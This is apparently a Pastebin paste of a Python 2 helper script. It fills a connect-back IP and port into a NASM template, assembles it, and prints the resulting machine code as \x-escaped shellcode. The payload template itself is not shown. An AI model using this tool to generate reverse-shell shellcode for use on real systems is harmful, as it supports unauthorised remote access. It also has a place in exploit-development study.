Advertisement
Guest User

Untitled

a guest
Jul 15th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. import re,subprocess,sys,os
  2.  
  3. #Script to take template, IP and port number and generate shellcode.
  4. #Template should be in the same folder
  5. # Usage: python wrapper.py <TEMPLATE_FILE> <CONNECTBACK_IP> <PORT_NUMBER>
  6.  
  7. if len(sys.argv)<4:
  8. print '[*] Usage: python wrapper.py <TEMPLATE_FILE> <CONNECTBACK_IP> <PORT>'
  9. exit(1)
  10.  
  11.  
  12. #Reading Template File
  13. with open(sys.argv[1]) as f:
  14. data = f.read()
  15.  
  16. #Converting IP into Hex
  17. ip = sys.argv[2]
  18. ipInHex = '0x'
  19. for i in range(3,-1,-1):
  20. tmp = hex(int(ip.split('.')[i]))
  21. if len(tmp.split('x')[1]) == 1:
  22. tmp = '0' + tmp.split('x')[1]
  23. else:
  24. tmp = tmp.split('x')[1]
  25. ipInHex = ipInHex + tmp
  26.  
  27. #Converting Port Number to Hex
  28. port = int(sys.argv[3])
  29. if port not in range(1024,65536):
  30. print '[-] Port number should be in between 1024 to 65535'
  31. exit(2)
  32.  
  33. portInHex = hex(int(port))
  34. portInHexLittleEndian = '0x' + portInHex[-2:] + portInHex[2:4]
  35.  
  36. #Replacing Port in data
  37. data = data.replace('PORTINHEX',portInHexLittleEndian)
  38. data = data.replace('IPINHEX', ipInHex)
  39.  
  40. #Write to a Temp File tmp.nasm
  41. with open('tmp.nasm','w') as f:
  42. f.write(data)
  43.  
  44. #Assemble and Link Temp File
  45. subprocess.Popen(['nasm', '-o', 'tmp.o', '-f', 'elf32', 'tmp.nasm'], stdout=subprocess.PIPE)
  46. subprocess.Popen(['ld', '-o', 'tmp', 'tmp.o'], stdout=subprocess.PIPE)
  47.  
  48. #Extract Shellcode
  49. binary = 'tmp'
  50. s_data=subprocess.Popen(['objdump','-j','.text','-d',binary],stdout=subprocess.PIPE).communicate()[0]
  51. x = s_data.split('.text:')[1].strip()
  52. y = x.split("\n")
  53. l = list()
  54. for i in y:
  55. tmp = i.split("\t")
  56. if len(tmp)>1:
  57. l.append(tmp[1].strip())
  58.  
  59. final_piece = " ".join(l)
  60.  
  61. reg = re.sub("[^0-9a-f ]","",final_piece)
  62.  
  63.  
  64. ### print in \x form
  65. print "\\x"+"\\x".join(reg.split())
  66.  
  67.  
  68. ###Clearing up tmp Files
  69. os.remove('tmp')
  70. os.remove('tmp.o')
  71. os.remove('tmp.nasm')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement